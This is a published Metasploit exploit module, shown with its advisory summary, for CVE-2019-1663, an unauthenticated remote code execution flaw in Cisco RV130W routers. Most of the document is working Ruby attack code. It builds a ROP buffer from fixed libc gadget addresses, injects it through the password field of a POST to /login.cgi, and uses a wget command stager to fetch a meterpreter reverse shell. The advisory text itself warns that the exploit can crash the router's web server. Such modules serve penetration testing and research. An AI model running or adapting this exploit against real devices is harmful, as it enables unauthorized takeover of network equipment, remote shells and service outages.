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Cisco RV130W Routers Management Interface Remote Command Execution

Cisco RV130W Routers Management Interface Remote Command Execution
Posted Apr 14, 2019
Authored by Quentin Kaiser, Yu Zhang, T. Shiomitsu, Haoliang Lu | Site metasploit.com

A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition.

tags | exploit, remote, web, arbitrary
systems | cisco
advisories | CVE-2019-1663
MD5 | 6336d4a93f5e62a21b302b4b5a610e40

Cisco RV130W Routers Management Interface Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution',
'Description' => %q{
A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.

RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.

Note: successful exploitation may not result in a session, and as such,
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
},
'Author' =>
[
'Yu Zhang', # Initial discovery
'Haoliang Lu', # Initial discovery
'T. Shiomitsu', # Initial discovery
'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => [ARCH_ARMLE],
'SessionTypes' => %w[meterpreter],
'CmdStagerFlavor' => %w{ wget },
'Privileged' => true, # BusyBox
'References' =>
[
['CVE', '2019-1663'],
['BID', '107185'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
],
'DefaultOptions' => {
'WfsDelay' => 10,
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
},
'Targets' =>
[
[ 'Cisco RV130/RV130W < 1.0.3.45',
{
'offset' => 446,
'libc_base_addr' => 0x357fb000,
'system_offset' => 0x0004d144,
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
'Arch' => ARCH_ARMLE,
}
],
],
'DisclosureDate' => 'Feb 27 2019',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN, ],
},
))
end

def p(offset)
[(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
end

def prepare_shellcode(cmd)
#All these gadgets are from /lib/libc.so.0
shellcode = rand_text_alpha(target['offset']) + # filler
p(target['gadget1']) +
p(target['system_offset']) + # r2
rand_text_alpha(4) + # r6
p(target['gadget2']) + # pc
cmd
shellcode
end

def send_request(buffer)
begin
send_request_cgi({
'uri' => '/login.cgi',
'method' => 'POST',
'vars_post' => {
"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": 0,
"change_action": "",
"enc": 1,
"user": rand_text_alpha_lower(5),
"pwd": buffer,
"sel_lang": "EN"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end

def exploit
print_status('Sending request')
execute_cmdstager
end

def execute_command(cmd, opts = {})
shellcode = prepare_shellcode(cmd.to_s)
send_request(shellcode)
end

def on_new_session(session)
# Given there is no process continuation here, the httpd server will stop
# functioning properly and we need to take care of proper restart
# ourselves.
print_status("Reloading httpd service")
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
else
session.shell_command(reload_httpd_service)
end
ensure
super
end
end

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